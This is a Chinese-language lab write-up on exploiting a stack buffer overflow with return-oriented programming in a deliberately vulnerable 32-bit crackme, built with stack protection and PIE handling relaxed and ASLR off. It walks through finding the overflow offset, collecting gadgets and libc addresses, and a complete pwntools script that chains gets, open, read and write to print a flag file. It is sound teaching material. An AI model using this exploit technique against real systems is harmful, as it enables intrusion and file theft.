实验环境
操作系统 & 工具
操作系统:
5.16.0-kali7-amd64
pwntools
apt-get update apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools
Tips:由于需要在命令行中使用cyclic、readelf、ropper
等工具,需要将工具的所在位置“/home/kali/.local/bin”
添加到PATH
中,这里采用了方法二
pwngdb
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh
安装成功后结果如图
待rop
程序
/* stack.c */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
void start() {
printf("IOLI Crackme Level 0x00\n");
printf("Password:");
char buf[64];
memset(buf, 0, sizeof(buf));
read(0, buf, 256);
if (!strcmp(buf, "250382"))
printf("Password OK :)\n");
else
printf("Invalid Password!\n");
}
int main(int argc, char *argv[]) {
setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);//直接从流中读入数据或者直接向流中写入数据,而没有缓冲区
setvbuf(stdin, NULL, _IONBF,0);
start();
return 0;
}
编译 & 系统选项
stack保护(
stack canary
),默认开启-fno-stack-protector / -fstack-protector
NX(No-eXecute)
,默认开启即不可执行保护
-z execstack
PIE
,默认开启- 每次加载程序时变换加载地址
-no-pie / -pie
32位编译选项
-m32
ASLR
设置sudo sysctl -w kernel.randomize_va_space= 0关闭 / 2开启)
#完整的编译指令
gcc -m32 stack.c -o stack -fno-stack-protector
Tips:使用“-m32”可能会报错“/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h”,原因是gcc安装环境没有安装完善,使用sudo apt install gcc-multilib
即可解决。
执行步骤
cyclic获取溢出点
进入pwngdb
,使用cyclic 100
生成100字节的字符串作为程序输入
$ gdb ./stack
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> run
Starting program: /home/kali/Desktop/SysSecurity/stack
IOLI Crackme Level 0x00
Password:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
观察到程序崩溃并给出一个无效地址
用改地址回到cyclic进行比较,可以知道溢出点位置为76
获取PR/PPR/PPPR的地址
(一个P对应一个参数,在使用了某个函数后需要使用POP指令将其参数从栈中弹出)
ropper --file ./stack | grep "pop" | grep "ret"
这是这几个gadget在程序中的偏移地址,在使用时需要加上程序加载的基地址。
获取lib加载地址
在pwndbg
中使用print
再通过readelf
工具获取上述函数在libc
中的偏移地址,想减计算出libc
的加载地址
获取程序加载地址
通过查找程序中特殊字符串的地址和偏移地址相减,获得程序加载地址
#在命令行中
ropper --file ./stack --string "Password OK"
得到偏移地址
#在pwndbg中
b main #在main函数前设置断点
run
search "Password OK"
得到字符串执行时的地址
完成攻击脚本
from pwn import *
p = process("./stack")
PR = 0x0000138b
PPR = 0x0000138a
PPPR = 0x00001389
#字符填充
payload = b'A' * 76
#根据system地址获取libc加载地址
system_addr = 0xf7dfdd00
system_offset = 0x00044cc0
libc_load_addr = system_addr - system_offset
#用到函数的地址
printf_addr = 0xf7e0cf10
open_addr = 0xf7eaa770
write_addr = 0xf7eaad50
read_addr = 0xf7eaac90
puts_addr = 0xf7e284e0
gets_addr = 0xf7e27a00
exit_addr = 0xf7df0680
#bss段地址,可通过readelf -S ./stack查看
bss_offset = 0x00004038
#bss2手动设置的缓冲区
bss2_offset = 0x00004038 + 20
passwd_ok_offset = 0x00002031
passwd_ok_addr = 0x56557031
load_addr = passwd_ok_addr - passwd_ok_offset
payload += p32(gets_addr) # gets
payload += p32(PR + load_addr)
payload += p32(bss_offset + load_addr) # 读取数据到bss
payload += p32(puts_addr) # puts回显
payload += p32(PR + load_addr)
payload += p32(bss_offset + load_addr) # 输出bss数据
payload += p32(open_addr)
payload += p32(PPR + load_addr)
payload += p32(bss_offset + load_addr) # 打开bss中的目标文件,即flag文件
payload += p32(0)
payload += p32(read_addr)
payload += p32(PPPR+ load_addr)
payload += p32(3) # “3”即时open函数得到的flag文件对应的句柄
payload += p32(bss2_offset + load_addr) # 读到bss2缓冲区
payload += p32(20)
payload += p32(write_addr)
payload += p32(PPPR+ load_addr)
payload += p32(1) # 标准输出
payload += p32(bss2_offset + load_addr) # 将bss2缓冲区的数据输出到标准输出
payload += p32(20)
payload += p32(exit_addr)
payload += p32(0xdeadbeef)
payload += p32(0)
print(payload)
p.sendline(payload)
p.interactive()
代码依次执行了gets——>puts——>open——>read——>write
函数,执行了如下的功能
- gets函数读取程序员手动输入的文件路径,将其保存在
bss
中 - puts函数对
bss
中的数据进行输出(验证是否正确保存) - open函数打开对应文件,得到文件句柄**”3”**
- read函数从文件中读取数据到
bss2
中 - write函数将
bss2
中的数据输出到标准输出
执行结果如下所示:
开启ASLR再次执行
#开启ASLR
sudo sysctl -w kernel.randomize_va_space=2
发现无法正常执行